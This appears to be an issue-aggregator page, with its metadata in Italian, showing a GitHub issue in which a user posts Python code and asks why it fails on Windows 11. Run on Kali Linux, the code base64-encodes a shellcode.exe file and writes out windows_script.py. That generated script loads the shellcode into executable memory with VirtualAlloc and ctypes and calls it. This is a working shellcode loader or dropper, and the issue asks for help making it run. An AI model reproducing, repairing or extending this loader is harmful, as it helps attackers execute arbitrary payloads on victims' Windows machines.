i need know why and how to do🥹
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 15/100
- Tipo di issue
- Bug
- Chiarezza
- Da chiarire
- Stato di attività
- Ferma
- Stack tecnologico
- python
- Ambito
- operating-systems, security
Direzione di ricerca
Inizia con l’immagine dell’errore allegata e con il windows_script.py generato, quindi confronta il modo in cui lo script viene prodotto in Kali Linux con il modo in cui viene eseguito su Windows 11. Una risoluzione dovrebbe identificare il problema segnalato e definire l’ambiente di esecuzione supportato, ma l’issue non include testo dell’errore o contesto del progetto sufficienti per stabilire cosa significhi «done».
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
- Lingua principale
- Python
- Stelle
- 284k
- Fork
- 36.3k
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Guida per i contributori
Apri la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di practical-tutorials/project-based-learning
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
practical-tutorials/project-based-learning#900 · 3 commenti ·
-
Difficoltà 1/5 1-3 ore Idoneità per principianti 75/100
practical-tutorials/project-based-learning#888 · 3 commenti ·
-
Broken Link: Erlang -> "Making a Chat App with Erlang, Rebar, Cowboy and Bullet" leads to 404 error Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 64/100
practical-tutorials/project-based-learning#840 · 2 commenti ·
-
BOMOYI Aperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 20/100
practical-tutorials/project-based-learning#937 · 1 commento ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
Tutte le issue di practical-tutorials/project-based-learning
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
bancolombia/sentinel#23 ·
-
test md ApertaCI
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
-
integration:quickjs org:external priority:backlog topic:code-interpreter topic:middleware type:feature
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
langchain-ai/deepagents#6450 ·
-
bug client
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100